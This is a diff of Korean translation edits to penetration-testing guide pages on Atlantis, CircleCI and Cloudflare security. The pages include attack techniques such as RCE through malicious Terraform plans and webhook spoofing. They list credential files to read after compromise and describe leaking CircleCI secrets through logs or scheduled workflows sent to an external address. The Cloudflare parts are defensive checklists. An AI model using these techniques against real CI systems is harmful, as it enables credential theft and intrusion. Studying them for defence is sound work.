plan/apply`** 댓글을 유효한 풀 리퀘스트에 보내면, 원하지 않을 때 terraform이 실행됩니다. -게다가, **새 커밋이 푸시될 때마다** 모든 PR에 대해 **재평가**를 요청하도록 **브랜치 보호**가 구성되어 있지 않다면, 누군가 **악의적인 구성**(이전 시나리오 확인)을 terraform 구성에 작성하고 `atlantis plan/apply`를 실행하여 RCE를 얻을 수 있습니다. +게다가, **새 커밋이 푸시**될 때 **모든 PR를 재평가**하도록 **브랜치 보호**가 설정되어 있지 않다면, 누군가 **악의적인 구성**(이전 시나리오 확인)을 terraform 구성에 작성하고 `atlantis plan/apply`를 실행하여 RCE를 얻을 수 있습니다. 이것이 Github 브랜치 보호의 **설정**입니다: @@ -292,19 +292,19 @@ apply_requirements: [] #### Webhook Secret -사용 중인 **웹훅 비밀을 훔치거나** **웹훅 비밀이 사용되지 않는 경우**, **Atlantis 웹훅을 호출하고** **atlantis 명령을 직접 호출**할 수 있습니다. +**웹훅 비밀**을 **훔치거나** **웹훅 비밀**이 사용되지 않는 경우, **Atlantis 웹훅을 호출**하고 **atlatis 명령어를 직접 호출**할 수 있습니다. #### Bitbucket -Bitbucket Cloud는 **웹훅 비밀을 지원하지 않습니다**. 이는 공격자가 **Bitbucket에서 요청을 스푸핑**할 수 있게 합니다. Bitbucket IP만 허용하고 있는지 확인하세요. +Bitbucket Cloud는 **웹훅 비밀**을 **지원하지 않습니다**. 이는 공격자가 **Bitbucket에서 요청을 스푸핑**할 수 있게 합니다. Bitbucket IP만 허용하고 있는지 확인하세요. -- 이는 **공격자**가 Bitbucket에서 오는 것처럼 보이는 **가짜 요청을 Atlantis에 보낼 수 있다는 것을 의미합니다.** +- 이는 **공격자**가 **Bitbucket에서 오는 것처럼 보이는 가짜 요청을 Atlantis에 보낼 수 있음을 의미합니다.** - `--repo-allowlist`를 지정하는 경우, 그들은 해당 리포지토리에 관련된 요청만 가짜로 만들 수 있으므로 그들이 할 수 있는 가장 큰 피해는 자신의 리포지토리에서 plan/apply하는 것입니다. - 이를 방지하기 위해 [Bitbucket의 IP 주소](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html)를 허용 목록에 추가하세요 (아웃바운드 IPv4 주소 참조). ### Post-Exploitation -서버에 접근하거나 최소한 LFI를 얻었다면, 읽어볼 만한 흥미로운 것들이 있습니다: +서버에 접근하거나 최소한 LFI를 얻었다면, 읽어봐야 할 몇 가지 흥미로운 것들이 있습니다: - `/home/atlantis/.git-credentials` VCS 접근 자격 증명 포함 - `/atlantis-data/atlantis.db` 더 많은 정보와 함께 VCS 접근 자격 증명 포함 @@ -321,7 +321,7 @@ Bitbucket Cloud는 **웹훅 비밀을 지원하지 않습니다**. 이는 공격 #### Don't Use `--allow-fork-prs` -공개 리포지토리에서 실행 중이라면(위에서 권장하지 않음) `--allow-fork-prs`를 설정하지 말아야 합니다(기본값은 false) 왜냐하면 누구나 자신의 포크에서 귀하의 리포지토리로 풀 리퀘스트를 열 수 있기 때문입니다. +공개 리포지토리에서 실행하는 경우(추천하지 않음, 위 참조) `--allow-fork-prs`를 설정하지 않아야 합니다(기본값은 false) 왜냐하면 누구나 자신의 포크에서 귀하의 리포지토리로 풀 리퀘스트를 열 수 있기 때문입니다. #### `--repo-allowlist` @@ -336,13 +336,13 @@ Atlantis는 `--repo-allowlist` 플래그를 통해 웹훅을 수락할 리포지 #### Protect Terraform Planning -공격자가 악의적인 Terraform 코드를 포함한 풀 리퀘스트를 제출하는 것이 귀하의 위협 모델에 포함된다면, `terraform apply` 승인이 충분하지 않다는 것을 인식해야 합니다. [`external` 데이터 소스](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)를 사용하거나 악의적인 제공자를 지정하여 `terraform plan`에서 악의적인 코드를 실행할 수 있습니다. 이 코드는 귀하의 자격 증명을 유출할 수 있습니다. +공격자가 악의적인 Terraform 코드를 포함한 풀 리퀘스트를 제출하는 것이 위협 모델에 포함된다면, `terraform apply` 승인이 충분하지 않다는 것을 인식해야 합니다. [`external` 데이터 소스](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)를 사용하거나 악의적인 공급자를 지정하여 `terraform plan`에서 악의적인 코드를 실행할 수 있습니다. 이 코드는 귀하의 자격 증명을 유출할 수 있습니다. 이를 방지하기 위해 다음을 수행할 수 있습니다: -1. 제공자를 Atlantis 이미지에 포함시키거나 호스팅하고 프로덕션에서 이그레스(egress)를 거부합니다. -2. 내부적으로 제공자 레지스트리 프로토콜을 구현하고 공용 이그레스를 거부하여 레지스트리에 대한 쓰기 접근을 제어합니다. -3. [서버 측 리포지토리 구성](https://www.runatlantis.io/docs/server-side-repo-config.html)의 `plan` 단계를 수정하여 허용되지 않은 제공자 또는 데이터 소스 또는 허용되지 않은 사용자로부터의 PR 사용을 검증합니다. 이 시점에서 추가 검증을 추가할 수도 있습니다. 예를 들어, `plan`이 계속 진행되기 전에 PR에 대한 "좋아요"를 요구하는 것입니다. Conftest가 여기서 유용할 수 있습니다. +1. 공급자를 Atlantis 이미지에 포함시키거나 호스팅하고 프로덕션에서 이그레스를 거부합니다. +2. 공급자 레지스트리 프로토콜을 내부적으로 구현하고 공개 이그레스를 거부하여 레지스트리에 대한 쓰기 접근을 제어합니다. +3. [서버 측 리포지토리 구성](https://www.runatlantis.io/docs/server-side-repo-config.html)의 `plan` 단계를 수정하여 허용되지 않은 공급자 또는 데이터 소스 또는 허용되지 않은 사용자로부터의 PR 사용을 검증합니다. 이 시점에서 추가 검증을 추가할 수도 있습니다. 예를 들어, `plan`이 계속 진행되기 전에 PR에 "좋아요"가 필요하도록 요구할 수 있습니다. Conftest가 여기서 유용할 수 있습니다. #### Webhook Secrets @@ -362,7 +362,7 @@ Azure DevOps는 모든 웹훅 이벤트에서 기본 인증 헤더를 전송하 웹 서비스에서 인증을 활성화하는 것이 매우 권장됩니다. `--web-basic-auth=true`를 사용하여 BasicAuth를 활성화하고 `--web-username=yourUsername` 및 `--web-password=yourPassword` 플래그를 사용하여 사용자 이름과 비밀번호를 설정하세요. -이것들을 환경 변수로도 전달할 수 있습니다 `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` 및 `ATLANTIS_WEB_PASSWORD=yourPassword`. +이들을 환경 변수로도 전달할 수 있습니다: `ATLANTIS_WEB_BASIC_AUTH=true`, `ATLANTIS_WEB_USERNAME=yourUsername`, `ATLANTIS_WEB_PASSWORD=yourPassword`. ### References diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index d2e3cb17a..0a4fd9ebe 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -4,12 +4,12 @@ ### 기본 정보 -[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/)는 코드와 관련하여 원하는 작업과 수행 시점을 정의할 수 있는 **템플릿**을 설정할 수 있는 지속적 통합 플랫폼입니다. 이렇게 하면 예를 들어 **테스트** 또는 **배포**를 **레포 마스터 브랜치**에서 직접 **자동화**할 수 있습니다. +[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/)는 코드와 관련하여 원하는 작업과 수행 시점을 정의하는 **템플릿**을 설정할 수 있는 지속적 통합 플랫폼입니다. 이렇게 하면 예를 들어 **레포 마스터 브랜치**에서 직접 **테스트** 또는 **배포**를 **자동화**할 수 있습니다. ### 권한 **CircleCI**는 로그인하는 **계정**과 관련된 github 및 bitbucket의 **권한을 상속**합니다.\ -내 테스트에서 확인한 바에 따르면, **github의 레포에 대한 쓰기 권한**이 있는 한, **CircleCI에서 프로젝트 설정을 관리**할 수 있습니다(새 ssh 키 설정, 프로젝트 api 키 가져오기, 새로운 CircleCI 구성으로 새로운 브랜치 만들기 등). +내 테스트에서 확인한 바에 따르면, **github의 레포에 대한 쓰기 권한**이 있는 한, **CircleCI에서 프로젝트 설정을 관리**할 수 있습니다(새 ssh 키 설정, 프로젝트 api 키 가져오기, 새로운 CircleCI 구성으로 새로운 브랜치 생성 등). 그러나 **레포를 CircleCI 프로젝트로 변환**하려면 **레포 관리자**여야 합니다. @@ -19,7 +19,7 @@ #### 내장 환경 변수 -CircleCI에서 실행되는 모든 컨테이너는 항상 [**문서에 정의된 특정 환경 변수**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables)인 `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` 또는 `CIRCLE_USERNAME`을 가집니다. +CircleCI에서 실행되는 모든 컨테이너는 항상 [**문서에 정의된 특정 환경 변수**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables)를 가지고 있으며, 예를 들어 `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` 또는 `CIRCLE_USERNAME`이 있습니다. #### 일반 텍스트 @@ -48,7 +48,7 @@ docker: environment: SECRET: A secret ``` -**컨테이너의 환경** 내에서 명확한 텍스트로 선언할 수 있습니다: +컨테이너의 **환경** 내에서 명확한 텍스트로 선언할 수 있습니다: ```yaml jobs: build-job: @@ -60,7 +60,7 @@ SECRET: A secret #### 프로젝트 비밀 이것은 **프로젝트**(모든 **브랜치**에서)만 **접근할 수 있는** **비밀**입니다.\ -다음 링크에서 **선언된** 내용을 확인할 수 있습니다: _https://app.circleci.com/settings/project/github/\/\/environment-variables_ +다음에서 **선언된** 내용을 확인할 수 있습니다: _https://app.circleci.com/settings/project/github/\/\/environment-variables_ ![](<../images/image (129).png>) @@ -69,19 +69,19 @@ SECRET: A secret #### 컨텍스트 비밀 -이것은 **조직 전체**에 해당하는 비밀입니다. **기본적으로 모든 레포**는 여기 저장된 **모든 비밀**에 **접근할 수 있습니다**: +이것은 **조직 전체**에 해당하는 비밀입니다. 기본적으로 **모든 레포**가 여기 저장된 **모든 비밀**에 **접근할 수** 있습니다: ![](<../images/image (123).png>) > [!TIP] -> 그러나, 특정 사람에게만 비밀에 대한 접근을 허용하기 위해 **다른 그룹**(모든 구성원 대신)을 **선택할 수** 있다는 점에 유의하세요.\ -> 이는 비밀에 대한 보안을 **강화하는 가장 좋은 방법** 중 하나로, 모든 사람이 접근할 수 없도록 하고 일부 사람만 접근할 수 있도록 합니다. +> 그러나, 특정 사람들에게만 비밀에 대한 접근을 허용하기 위해 **다른 그룹**(모든 구성원 대신)을 **선택할 수** 있습니다.\ +> 이는 비밀의 **보안을 강화하는** 가장 좋은 방법 중 하나로, 모든 사람이 접근할 수 없도록 하고 일부 사람들만 접근할 수 있도록 합니다. ### 공격 -#### 평문 비밀 검색 +#### 일반 텍스트 비밀 검색 -**VCS**(예: github)에 **접근할 수** 있다면, **각 브랜치의 각 레포**에서 `.circleci/config.yml` 파일을 확인하고 **저장된 평문 비밀**을 **검색**하세요. +**VCS**(예: github)에 **접근할 수** 있다면, **각 레포의 각 브랜치**에서 `.circleci/config.yml` 파일을 확인하고 **저장된 잠재적 일반 텍스트 비밀**을 **검색**하세요. #### 비밀 환경 변수 및 컨텍스트 열거 @@ -90,10 +90,10 @@ SECRET: A secret #### 프로젝트 비밀 유출 > [!WARNING] -> **모든** 프로젝트 및 컨텍스트 **비밀**을 **유출하기 위해서는** 전체 github 조직에서 **단 1개의 레포**에 **쓰기** 권한만 있으면 됩니다 (_그리고 귀하의 계정은 컨텍스트에 접근할 수 있어야 하지만 기본적으로 모든 사람이 모든 컨텍스트에 접근할 수 있습니다_). +> **모든** 프로젝트 및 컨텍스트 **비밀**을 **유출**하려면 **전체 github 조직**에서 **단 1개의 레포**에 **쓰기** 권한만 있으면 됩니다 (_그리고 귀하의 계정은 컨텍스트에 접근할 수 있어야 하지만 기본적으로 모든 사람이 모든 컨텍스트에 접근할 수 있습니다_). > [!CAUTION] -> "**변수 가져오기**" 기능은 **다른 프로젝트에서 변수를 가져올 수** 있게 해줍니다. 따라서 공격자는 **모든 레포에서 모든 프로젝트 변수를 가져온 다음** **모두 함께 유출할 수** 있습니다. +> "**변수 가져오기**" 기능은 **다른 프로젝트에서 변수를 가져올 수** 있게 해줍니다. 따라서 공격자는 **모든 레포에서 모든 프로젝트 변수를 가져온 다음** **모두 함께 유출**할 수 있습니다. 모든 프로젝트 비밀은 항상 작업의 env에 설정되므로, env를 호출하고 base64로 난독화하면 **워크플로우 웹 로그 콘솔**에서 비밀을 유출할 수 있습니다: ```yaml @@ -114,7 +114,7 @@ exfil-env-workflow: jobs: - exfil-env ``` -만약 **웹 콘솔에 접근할 수 없지만** **레포에 접근할 수** 있고 **CircleCI가 사용되고** 있다는 것을 안다면, **매 분마다 트리거되는 워크플로우**를 **생성하여 비밀을 외부 주소로 유출**할 수 있습니다: +웹 콘솔에 **접근할 수 없지만** **레포에 접근할 수** 있고 CircleCI가 사용된다는 것을 알고 있다면, **매 분마다 트리거되는 워크플로우**를 **생성하여 비밀을 외부 주소로 유출**할 수 있습니다: ```yaml version: 2.1 @@ -141,9 +141,9 @@ only: jobs: - exfil-env ``` -#### 컨텍스트 비밀 추출 +#### 컨텍스트 비밀 유출 -**컨텍스트 이름을 지정해야 합니다** (이것은 프로젝트 비밀도 추출합니다): +**컨텍스트 이름을 지정해야 합니다** (이것은 프로젝트 비밀도 유출합니다): ```yaml version: 2.1 @@ -163,7 +163,7 @@ jobs: - exfil-env: context: Test-Context ``` -만약 **웹 콘솔에 접근할 수 없지만** **레포에 접근할 수** 있고 **CircleCI가 사용되고** 있다는 것을 안다면, **매 분마다 트리거되는 워크플로우**를 **수정하여 비밀을 외부 주소로 유출**할 수 있습니다: +웹 콘솔에 **접근할 수 없지만** **레포에 접근할 수** 있고 CircleCI가 사용된다는 것을 알고 있다면, **매 분마다 트리거되는 워크플로우**를 **수정**하여 **비밀을 외부 주소로 유출**할 수 있습니다: ```yaml version: 2.1 @@ -197,7 +197,7 @@ context: Test-Context #### 클라우드로 탈출 **CircleCI**는 **자신의 빌드를 그들의 머신에서 실행하거나 자신의 머신에서 실행할 수 있는 옵션을 제공합니다**.\ -기본적으로 그들의 머신은 GCP에 위치하고 있으며, 처음에는 관련된 정보를 찾을 수 없습니다. 그러나 피해자가 **자신의 머신(잠재적으로 클라우드 환경)에서 작업을 실행하고 있다면**, **흥미로운 정보가 있는 클라우드 메타데이터 엔드포인트를 찾을 수 있습니다**. +기본적으로 그들의 머신은 GCP에 위치해 있으며, 처음에는 관련된 정보를 찾을 수 없습니다. 그러나 피해자가 **자신의 머신(잠재적으로 클라우드 환경)에서 작업을 실행하고 있다면**, **흥미로운 정보가 있는 클라우드 메타데이터 엔드포인트를 찾을 수 있습니다**. 이전 예제에서는 모든 것이 도커 컨테이너 내에서 실행되었지만, **VM 머신을 실행하도록 요청할 수도 있습니다**(다른 클라우드 권한이 있을 수 있습니다): ```yaml @@ -208,7 +208,7 @@ exfil-env: machine: image: ubuntu-2004:current ``` -또는 원격 도커 서비스에 접근할 수 있는 도커 컨테이너: +원격 도커 서비스에 접근할 수 있는 도커 컨테이너: ```yaml jobs: exfil-env: @@ -227,9 +227,9 @@ version: 19.03.13 - _https://app.circleci.com/settings/project/github/\/\/api_ - 프로젝트에 **SSH 키를 추가**할 수 있습니다. - _https://app.circleci.com/settings/project/github/\/\/ssh_ -- 예기치 않은 프로젝트의 **숨겨진 브랜치에 크론 작업을 생성**하여 매일 모든 **컨텍스트 env** 변수를 **유출**할 수 있습니다. +- 예기치 않은 프로젝트의 **숨겨진 브랜치에 크론 작업을 생성**하여 매일 모든 **컨텍스트 환경** 변수를 **유출**할 수 있습니다. - 또는 브랜치에서 생성하거나 알려진 작업을 수정하여 매일 모든 컨텍스트와 **프로젝트 비밀**을 **유출**할 수 있습니다. -- GitHub 소유자인 경우 **검증되지 않은 orb를 허용**하고 작업에서 **백도어**로 구성할 수 있습니다. +- GitHub 소유자인 경우 **검증되지 않은 오브**를 **허용**하고 작업에서 **백도어**로 구성할 수 있습니다. - 일부 작업에서 **명령 주입 취약점**을 찾아 **비밀**의 값을 수정하여 **명령을 주입**할 수 있습니다. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index ce5fa0bb2..b5ff67c08 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -34,25 +34,25 @@ _구성 보안 검토를 위한 확인할 사항을 찾을 수 없었습니다._ - [ ] **`Build log`**에서 **민감한 정보**를 확인하십시오. - [ ] 페이지에 할당된 **Github repository**에서 **민감한 정보**를 확인하십시오. -- [ ] **workflow command injection** 또는 `pull_request_target` 손상을 통한 잠재적인 github repo 손상을 확인하십시오. 자세한 내용은 [**Github Security page**](../github-security/)를 참조하십시오. +- [ ] **workflow command injection** 또는 `pull_request_target` 손상을 통한 잠재적인 github repo 손상을 확인하십시오. 자세한 내용은 [**Github Security page**](../github-security/)에서 확인하십시오. - [ ] `/fuctions` 디렉토리(있는 경우)에서 **취약한 함수**를 확인하고, `_redirects` 파일(있는 경우)에서 **리디렉션**을 확인하며, `_headers` 파일(있는 경우)에서 **잘못 구성된 헤더**를 확인하십시오. -- [ ] **코드에 접근할 수 있는 경우**, **blackbox** 또는 **whitebox**를 통해 **웹 페이지**의 **취약점**을 확인하십시오. +- [ ] **코드에 접근할 수 있는 경우** **blackbox** 또는 **whitebox**를 통해 **웹 페이지**의 **취약점**을 확인하십시오. - [ ] 각 페이지의 세부정보 `//pages/view/blocklist/settings/functions`에서 **`Environment variables`**에 **민감한 정보**가 있는지 확인하십시오. -- [ ] 세부정보 페이지에서 **build command**와 **root directory**를 확인하여 페이지를 손상시킬 수 있는 **잠재적 주입**을 확인하십시오. +- [ ] 세부정보 페이지에서 **빌드 명령**과 **루트 디렉토리**를 확인하여 페이지를 손상시킬 수 있는 **잠재적 주입**을 확인하십시오. ## **Workers** -각 Cloudflare worker에서 확인하십시오: +각 Cloudflare 워커에서 확인하십시오: -- [ ] 트리거: 무엇이 worker를 트리거합니까? **사용자가 데이터를 전송**할 수 있습니까? 이 데이터는 worker에 의해 **사용**됩니까? +- [ ] 트리거: 워커를 트리거하는 것은 무엇입니까? **사용자가 데이터를 보낼 수** 있습니까? 이 데이터는 워커에 의해 **사용**됩니까? - [ ] **`Settings`**에서 **민감한 정보**를 포함하는 **`Variables`**를 확인하십시오. -- [ ] **worker의 코드**를 확인하고 **취약점**을 검색하십시오(특히 사용자가 입력을 관리할 수 있는 곳에서). +- [ ] **워커의 코드**를 확인하고 **취약점**을 검색하십시오(특히 사용자가 입력을 관리할 수 있는 곳에서). - 제어할 수 있는 페이지를 반환하는 SSRF를 확인하십시오. - svg 이미지 내에서 JS를 실행하는 XSS를 확인하십시오. -- worker가 다른 내부 서비스와 상호작용할 수 있습니다. 예를 들어, worker는 입력에서 얻은 정보를 저장하는 R2 버킷과 상호작용할 수 있습니다. 이 경우, worker가 R2 버킷에 대해 어떤 기능을 가지고 있는지, 그리고 사용자의 입력으로부터 어떻게 남용될 수 있는지를 확인해야 합니다. +- 워커가 다른 내부 서비스와 상호작용할 수 있습니다. 예를 들어, 워커는 입력에서 얻은 정보를 저장하는 R2 버킷과 상호작용할 수 있습니다. 이 경우, 워커가 R2 버킷에 대해 어떤 기능을 가지고 있으며 사용자의 입력으로부터 어떻게 남용될 수 있는지 확인해야 합니다. > [!WARNING] -> 기본적으로 **Worker는** `..workers.dev`와 같은 URL을 부여받습니다. 사용자는 이를 **서브도메인**으로 설정할 수 있지만, 알고 있다면 항상 그 **원래 URL**로 접근할 수 있습니다. +> 기본적으로 **워커는** `..workers.dev`와 같은 URL을 부여받습니다. 사용자는 이를 **서브도메인**으로 설정할 수 있지만, 알고 있다면 항상 그 **원래 URL**로 접근할 수 있습니다. ## R2 @@ -71,7 +71,7 @@ TODO ## Security Center - [ ] 가능하다면 **`Security Insights`** **스캔**과 **`Infrastructure`** **스캔**을 실행하십시오. 이들은 **보안** 측면에서 흥미로운 정보를 **강조**할 것입니다. -- [ ] 보안 잘못 구성된 사항과 흥미로운 정보를 **확인**하십시오. +- [ ] 보안 잘못 구성된 정보와 흥미로운 정보를 **확인**하십시오. ## Turnstile @@ -88,7 +88,7 @@ cloudflare-zero-trust-network.md > [!NOTE] > [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/)와 달리, [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/)는 본질적으로 정적입니다 — 문자열 대체 작업이나 정규 표현식을 **지원하지 않습니다**. 그러나 URL 일치 동작 및 런타임 동작에 영향을 미치는 URL 리디렉션 매개변수를 구성할 수 있습니다. -- [ ] **리디렉션**의 **표현식**과 **요구 사항**이 **의미가 있는지** 확인하십시오. +- [ ] **리디렉션**에 대한 **표현식**과 **요구 사항**이 **합리적인지** 확인하십시오. - [ ] 또한 **흥미로운 정보**를 포함하는 **민감한 숨겨진 엔드포인트**를 확인하십시오. ## Notifications @@ -118,14 +118,14 @@ cloudflare-zero-trust-network.md ## Manage Account -- [ ] **`Billing` -> `Payment info`**에서 **신용 카드의 마지막 4자리**, **만료** 시간 및 **청구 주소**를 확인할 수 있습니다. +- [ ] **`Billing` -> `Payment info`**에서 **신용 카드**의 **마지막 4자리**, **만료** 시간 및 **청구 주소**를 확인할 수 있습니다. - [ ] **`Billing` -> `Subscriptions`**에서 계정에 사용된 **요금제 유형**을 확인할 수 있습니다. -- [ ] **`Members`**에서 계정의 모든 구성원과 그들의 **역할**을 확인할 수 있습니다. 요금제 유형이 Enterprise가 아닌 경우, 두 가지 역할만 존재합니다: Administrator와 Super Administrator. 그러나 사용된 **요금제가 Enterprise**인 경우, [**더 많은 역할**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/)을 사용하여 최소 권한 원칙을 따를 수 있습니다. +- [ ] **`Members`**에서 계정의 모든 **구성원**과 그들의 **역할**을 확인할 수 있습니다. 요금제가 Enterprise가 아닌 경우, 두 가지 역할만 존재합니다: Administrator와 Super Administrator. 그러나 사용된 **요금제가 Enterprise**인 경우, [**더 많은 역할**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/)을 사용하여 최소 권한 원칙을 따를 수 있습니다. - 따라서 가능할 때마다 **Enterprise 요금제**를 사용하는 것이 **권장됩니다**. -- [ ] Members에서 **2FA가 활성화된** **구성원**을 확인할 수 있습니다. **모든** 사용자는 이를 활성화해야 합니다. +- [ ] 구성원에서 **2FA가 활성화된** **구성원**을 확인할 수 있습니다. **모든** 사용자는 이를 활성화해야 합니다. > [!NOTE] -> 다행히도 역할 **`Administrator`**는 구성원 관리를 위한 권한을 부여하지 않습니다 (**권한 상승이나** 새로운 구성원 초대 불가). +> 다행히도 역할 **`Administrator`**는 멤버십을 관리할 수 있는 권한을 부여하지 않습니다 (**권한 상승이나** 새로운 구성원 초대 불가). ## DDoS Investigation diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md index 098cadea8..21b6634fa 100644 --- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md +++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-domains.md @@ -13,7 +13,7 @@ Cloudflare에 구성된 각 TLD에는 구성할 수 있는 **일반 설정 및 ### 분석 -- [ ] **`Security`**에서 **Rate limiting**이 있는지 확인하기 +- [ ] **`Security`**에서 **속도 제한**이 있는지 확인하기 ### DNS @@ -22,7 +22,7 @@ Cloudflare에 구성된 각 TLD에는 구성할 수 있는 **일반 설정 및 - [ ] **프록시되지 않은** 웹 페이지 확인하기 - [ ] CNAME 또는 IP 주소로 **직접 접근할 수 있는** **프록시된 웹 페이지** 확인하기 - [ ] **DNSSEC**가 **활성화**되어 있는지 확인하기 -- [ ] **모든 CNAME에서** **CNAME Flattening**이 **사용**되고 있는지 확인하기 +- [ ] **모든 CNAME에서** **CNAME 평탄화**가 **사용**되고 있는지 확인하기 - 이는 **서브도메인 탈취 취약점**을 **숨기고** 로드 시간을 개선하는 데 유용할 수 있습니다. - [ ] 도메인이 [**스푸핑에 취약하지 않은지**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-smtp#mail-spoofing) 확인하기 @@ -38,7 +38,7 @@ TODO #### **개요** -- [ ] **SSL/TLS 암호화**는 **Full** 또는 **Full (Strict)**이어야 합니다. 다른 경우에는 어느 시점에서 **명확한 텍스트 트래픽**이 전송됩니다. +- [ ] **SSL/TLS 암호화**는 **전체** 또는 **전체 (엄격)**이어야 합니다. 다른 경우에는 어느 시점에서 **명확한 텍스트 트래픽**이 전송됩니다. - [ ] **SSL/TLS 추천기**가 활성화되어야 합니다. #### 엣지 인증서 @@ -52,30 +52,30 @@ TODO ### **보안** -- [ ] **`WAF`** 섹션에서 **방화벽** 및 **rate limiting 규칙이 사용되고 있는지** 확인하는 것이 흥미롭습니다. -- **`Bypass`** 작업은 요청에 대해 **Cloudflare 보안** 기능을 **비활성화**합니다. 사용해서는 안 됩니다. -- [ ] **`Page Shield`** 섹션에서 페이지가 사용되는 경우 **활성화**되어 있는지 확인하는 것이 좋습니다. -- [ ] **`API Shield`** 섹션에서 Cloudflare에 노출된 API가 있는 경우 **활성화**되어 있는지 확인하는 것이 좋습니다. +- [ ] **`WAF`** 섹션에서 **방화벽** 및 **속도 제한 규칙이 사용되고 있는지** 확인하는 것이 흥미롭습니다. +- **`우회`** 작업은 요청에 대해 **Cloudflare 보안** 기능을 **비활성화**합니다. 사용해서는 안 됩니다. +- [ ] **`페이지 방패`** 섹션에서 페이지가 사용되는 경우 **활성화**되어 있는지 확인하는 것이 좋습니다. +- [ ] **`API 방패`** 섹션에서 Cloudflare에 노출된 API가 있는 경우 **활성화**되어 있는지 확인하는 것이 좋습니다. - [ ] **`DDoS`** 섹션에서 **DDoS 보호**를 활성화하는 것이 좋습니다. -- [ ] **`Settings`** 섹션에서: -- [ ] **`Security Level`**이 **중간** 이상인지 확인하기 -- [ ] **`Challenge Passage`**가 최대 1시간인지 확인하기 -- [ ] **`Browser Integrity Check`**가 **활성화**되어 있는지 확인하기 -- [ ] **`Privacy Pass Support`**가 **활성화**되어 있는지 확인하기 +- [ ] **`설정`** 섹션에서: +- [ ] **`보안 수준`**이 **중간** 이상인지 확인하기 +- [ ] **`도전 통과`**가 최대 1시간인지 확인하기 +- [ ] **`브라우저 무결성 검사`**가 **활성화**되어 있는지 확인하기 +- [ ] **`개인정보 통과 지원`**이 **활성화**되어 있는지 확인하기 #### **CloudFlare DDoS 보호** -- 가능하다면 **Bot Fight Mode** 또는 **Super Bot Fight Mode**를 활성화하세요. 프로그램적으로 접근하는 API를 보호하는 경우 (예: JS 프론트 엔드 페이지에서) 이 기능을 활성화할 수 없을 수 있습니다. -- **WAF**에서: **URL 경로**별로 **rate limits**를 생성하거나 **검증된 봇**에 대해 (Rate limiting 규칙), 또는 IP, 쿠키, 리퍼러 등을 기반으로 **접근 차단**을 할 수 있습니다. 따라서 웹 페이지에서 오지 않거나 쿠키가 없는 요청을 차단할 수 있습니다. -- 공격이 **검증된 봇**에서 발생하는 경우, 최소한 **봇에 대한 rate limit**을 추가하세요. -- 공격이 **특정 경로**에 대한 경우, 예방 메커니즘으로 해당 경로에 **rate limit**을 추가하세요. -- **WAF**의 **Tools**에서 IP 주소, IP 범위, 국가 또는 ASN을 **화이트리스트**할 수 있습니다. -- **Managed rules**가 취약점 악용 방지에 도움이 될 수 있는지 확인하세요. -- **Tools** 섹션에서 특정 IP 및 **사용자 에이전트**에 대해 **차단하거나 도전 과제를 제공**할 수 있습니다. -- DDoS에서 **일부 규칙을 더 제한적으로 변경**할 수 있습니다. -- **Settings**: **Security Level**을 **High**로 설정하고 **Under Attack**으로 설정하세요. 공격을 받고 있고 **Browser Integrity Check가 활성화**되어 있어야 합니다. -- Cloudflare Domains -> Analytics -> Security -> **rate limit**이 활성화되어 있는지 확인하세요. -- Cloudflare Domains -> Security -> Events -> **탐지된 악성 이벤트**를 확인하세요. +- 가능하다면 **봇 전투 모드** 또는 **슈퍼 봇 전투 모드**를 활성화하세요. 프로그램적으로 접근하는 API를 보호하는 경우 (예: JS 프론트 엔드 페이지에서) 이 기능을 활성화할 수 없을 수 있습니다. +- **WAF**에서: **URL 경로**별로 **속도 제한**을 생성하거나 **검증된 봇**에 대해 (속도 제한 규칙), 또는 IP, 쿠키, 리퍼러 등을 기반으로 **접근 차단**을 할 수 있습니다. 따라서 웹 페이지에서 오지 않거나 쿠키가 없는 요청을 차단할 수 있습니다. +- 공격이 **검증된 봇**에서 발생하는 경우, 최소한 **봇에 대한 속도 제한**을 추가하세요. +- 공격이 **특정 경로**에 대한 경우, 예방 메커니즘으로 이 경로에 **속도 제한**을 추가하세요. +- **도구**에서 IP 주소, IP 범위, 국가 또는 ASN을 **허용 목록**에 추가할 수 있습니다. +- **관리 규칙**이 취약점 악용 방지에 도움이 될 수 있는지 확인하세요. +- **도구** 섹션에서 특정 IP 및 **사용자 에이전트**에 대해 **차단하거나 도전**을 줄 수 있습니다. +- DDoS에서는 **일부 규칙을 재정의하여 더 제한적으로 만들 수 있습니다**. +- **설정**: **보안 수준**을 **높음**으로 설정하고 **공격 중**인 경우 **브라우저 무결성 검사**가 활성화되어 있는지 확인하세요. +- Cloudflare Domains -> Analytics -> Security -> **속도 제한**이 활성화되어 있는지 확인하세요. +- Cloudflare Domains -> Security -> Events -> **탐지된 악성 이벤트** 확인하기 ### 접근 @@ -89,7 +89,7 @@ _보안과 관련된 옵션을 찾을 수 없었습니다._ ### 캐싱 -- [ ] **`Configuration`** 섹션에서 **CSAM 스캐닝 도구**를 활성화하는 것을 고려하세요. +- [ ] **`구성`** 